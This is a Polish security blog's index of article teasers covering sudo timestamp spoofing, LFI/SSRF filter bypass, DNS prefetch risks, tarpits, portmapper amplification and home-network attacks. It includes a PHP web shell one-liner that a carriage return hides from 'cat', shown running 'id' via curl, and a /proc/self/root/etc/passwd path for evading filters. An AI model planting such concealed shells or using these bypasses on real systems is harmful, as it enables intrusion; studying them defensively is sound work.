J

akiś czas temu Inti De Ceukelarie odkrył lukę pozwalającą na przeprowadzenie ataku na przestrzeń nazw w postaci adresów e-mail. Wykorzystanie tego błędu pozwala na uzyskanie dostępu do wewnętrznych systemów, mediów społecznościowych lub wewnętrznej komunikacji atakowanej firmy. Ze względu na skalę błąd nadal jest aktualny dla wielu firm, a w swej prostocie jest bardzo prosty do wykonania.
[ czytaj całość… ]

W

systemach operacyjnych każdy proces ma określony zestaw zasobów dostępnych w czasie jego życia. W przypadku Linuksa obejmują one takie rzeczy jak: ilość otwartych plików, rozmiar pliku z zrzutem pamięci, liczbę wątków, czy rozmiar stosu. Każdy zasób ma dwie granice: miękką (ang. soft) oraz twardą (ang. hard). Wartość graniczna zasobów może wahać się pomiędzy [miękką, a twardą] granicą. Pierwszą można uznać za wartość domyślną, a drugą za wartość maksymalnego pułapu. Zadaniem jądra jest upewnienie się, że te ograniczenia są egzekwowane.
[ czytaj całość… ]

T

a część będzie zupełnie inna od poprzednich trzech (1, 2, 3). Jako użytkownik polecenia sudo na pewno zauważyłeś, że czasami sudo nie prosi o hasło, ponieważ pamięta nas jako użytkownika. Jak to się dzieje, że jesteśmy pamiętani? Czy możemy sfałszować taką tożsamość i uzyskać prawa administratora? Otóż sudo tworzy plik dla każdego użytkownika Linuksa w /var/run/sudo/ts/$USER. Pliki te zawierają udane i nieudane procesy uwierzytelnienia, które są używane przez sudo do zapamiętywania wszystkich uwierzytelnionych procesów.
[ czytaj całość… ]

K

ilka lat temu opisałem, jak w prosty sposób można przyśpieszyć działanie strony za pomocą mechanizmu DNS Prefetch. Zdając sobie sprawę, że usługa DNS, a prywatność to dwie różne ścieżki – okazuje się, że i ten mechanizm z punktu widzenia bezpieczeństwa ma swoje negatywne aspekty. Duża liczba zapytań DNS, które wywołuje ten mechanizm może dać atakującemu przydatne informacje na temat rozwoju potencjalnych ataków. Na przykład możemy wyobrazić sobie złośliwą stronę internetową, która śledzi użytkowników za pomocą łączy do określonych domen na stronach HTML, a także obserwuje żądania rozpoznawania DNS dla tych domen. Jeśli nasza przeglądarka zaczyna „wchodzić” w tle na inne linki, z których nie mamy zamiaru skorzystać buduje to przestrzeń do potencjalnych nadużyć. W ten sposób ktoś może nam podsunąć złośliwe domeny i wykorzystać je do ataków pokrewnych np. DNS rebinding.
[ czytaj całość… ]

J

eśli znaleźliśmy podatność LFI lub SSRF i chcemy odczytać plik /etc/passwd, ale serwer filtruje wszystko, co zaczyna się od /etc możemy spróbować zrobić to za pomocą wirtualnego systemu plików proc, czyli: /proc/self/root/etc/passwd (chcąć pominąć filtry, aby nie wyzwolić ustawionych alarmów lepiej unikać frazy /etc/passwd i wykorzystać np. plik: /proc/self/root/etc/timezone lub inny). Natomiast, jeśli polecenie jest wykonywane w kontekście powłoki bash możemy wykorzystać obfuskację (ang. obfuscation), czyli zaciemnienie, które i tak zostanie zinterpretowane przez powłokę:
[ czytaj całość… ]

B

rezent (ang. tarpit), czyli płachta na usługę. Jest usługą sieciową, która celowo wprowadza opóźnienia w obsługiwanym protokole spowalniając w ten sposób klientów i zmuszając ich do oczekiwania przez określony czas. Zachowanie to spowalnia lub zatrzymuje sondowanie i atakowanie systemów / usług. Skanery, skrypty i inne narzędzia atakującego są związywane z konkretną usługą / portem i nie mają możliwości ruszyć dalej (zazwyczaj działają synchronicznie wykonując pracę host po hoście / port po porcie). Nakłada to na atakującego większy koszt pod względem czasu i zasobów niż ponosi go obrońca.
[ czytaj całość… ]

D

zień jak codzień spoglądamy na dashboard z top zapytań DNS, aby widzieć jakie zapytania są kierowane z i do naszych serwerów. W zależności od używanych resolverów lub sposobu zbierania danych o zapytaniach DNS nagle możemy zacząć zastanawiać się, dlaczego niektóre nazwy zapytań wyglądają na zniekształcone. Kto normalny pyta o NfSeC.pL? Z pewnością jakiś skryptowy dzieciak się czymś bawi. Ale chwila tych domen jest znacznie więcej. Więc co tu się dzieje? Nowa forma ataku na DNS?
[ czytaj całość… ]

R

PC Portmapper (znany również jako: portmap lub rpcbind) jest usługą typu Open Network Computing Remote Procedure Call (ONC RPC) zaprojektowaną do mapowania numerów usług RPC na numery portów sieciowych. Procesy RPC powiadamiają rcpbind, gdy startują rejestrując porty na których będą nasłuchiwać. To samo tyczy się ich numerów programów, które mają obsługiwać. Wówczas usługa rpcbind przekierowuje klienta do właściwego numeru portu, aby mógł komunikować się z żądanym serwisem. 3 lata temu usługa ta została wykorzystana do wzmacniania rozproszonych ataków DoS. Gdy portmapper jest odpytywany rozmiar odpowiedzi jest zależny od ilości usług RPC obecnych na hoście. W 2015 roku badacze z firmy Level 3 w swoich eksperymentach uzyskali odpowiedzi na poziomie od 486 bajtów (współczynnik wzmocnienia 7.1) do 1930 bajtów (ww = 28.4) dla 68-bajtowego zapytania. Średni rozmiar wzmocnienia w przeprowadzonych testach wynosił 1241 bajtów (ww = 18.3), podczas gdy w rzeczywistych atakach DDoS zaobserwowana wartość wynosiła 1348 bajtów, co daje wzmocnienie na poziomie 19.8 raza.
[ czytaj całość… ]

$ sudo echo -e "<?=\`\$_POST[1]\`?>\r<?='PHP Test';?>" > test.php
$ cat test.php
<?='PHP Test';?>
$ curl localhost/test.php -d 1=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHP Test

D

omowa sieć WiFi to nasze święte miejsce. Nasz skromny kawałek cyberprzestrzeni. Tam podłączamy nasze telefony, laptopy i inne „inteligentne” urządzenia ze sobą i internetem. Jeszcze nie ma końca dwa tysiące dwudziestego roku, a nasze sieci lokalne zostały zaludnione przez rosnącą liczbę urządzeń. Od inteligentnych telewizorów i odtwarzaczy multimedialnych po asystentów domowych, kamery bezpieczeństwa, lodówki, zamki do drzwi i termostaty – nasze LANy stały się schronieniem dla zaufanych urządzeń osobistych i domowych. Wiele z tych urządzeń oferuje ograniczone lub żadne uwierzytelnianie w celu uzyskania dostępu i kontrolowania swoich usług. Z natury ufają one innym urządzeniom w sieci w taki sam sposób, w jaki z własnej woli ufalibyście komuś, komu pozwoliliście znaleźć się w Waszym domu. Korzystają z takich protokołów, jak Universal Plug and Play (UPnP) i HTTP, aby swobodnie komunikować się między sobą, ale są z natury chronione przed połączeniami przychodzącymi z internetu za pomocą zapory ogniowej routera. Można porównać to do ogrodu otoczonego murem. Niestety wystarczy podążenie za złym linkiem, aby umożliwić atakującemu dostanie się do wewnętrznej sieci i uzyskanie kontroli nad różnego rodzaju urządzeniami.
[ czytaj całość… ]